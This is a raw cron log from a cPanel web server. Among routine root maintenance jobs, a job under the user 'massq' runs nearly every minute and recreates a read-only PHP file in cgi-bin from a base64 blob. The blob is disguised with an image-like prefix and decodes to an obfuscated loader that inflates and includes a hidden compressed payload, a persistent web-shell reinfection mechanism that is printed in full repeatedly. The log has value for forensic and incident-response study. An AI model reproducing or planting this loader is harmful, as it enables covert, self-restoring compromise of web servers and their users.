Sep 11 14:07:01 server CROND[14795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:08:01 server CROND[15158]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:08:01 server CROND[15159]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:08:01 server CROND[15160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:09:01 server CROND[15523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:09:01 server CROND[15529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:09:01 server CROND[15530]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 14:09:01 server CROND[15531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:10:01 server CROND[16032]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 14:10:01 server CROND[16036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:10:01 server CROND[16039]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 14:10:01 server CROND[16040]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:10:01 server CROND[16041]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 14:10:01 server CROND[16042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:10:01 server CROND[16047]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:10:01 server CROND[16045]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:11:01 server CROND[16886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:11:01 server CROND[16887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:11:01 server CROND[16888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:12:01 server CROND[17265]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:12:01 server CROND[17271]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 14:12:01 server CROND[17272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:12:01 server CROND[17274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:13:01 server CROND[17639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:13:01 server CROND[17641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:13:01 server CROND[17640]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:14:01 server CROND[18031]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:14:01 server CROND[18032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:14:01 server CROND[18033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:15:01 server CROND[18529]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 14:15:01 server CROND[18532]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:15:01 server CROND[18537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:15:01 server CROND[18535]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:15:01 server CROND[18542]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 14:15:01 server CROND[18533]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:15:01 server CROND[18543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:15:01 server CROND[18547]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 14:15:01 server CROND[18544]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 14:16:01 server CROND[19515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:16:01 server CROND[19516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:16:01 server CROND[19517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:17:01 server CROND[20112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:17:01 server CROND[20113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:17:01 server CROND[20114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:18:01 server CROND[20544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:18:01 server CROND[20545]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:18:01 server CROND[20546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:19:01 server CROND[20913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:19:01 server CROND[20914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:19:01 server CROND[20915]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:20:01 server CROND[21438]: (root) CMD (/usr/lib64/sa/sa1 1 1)
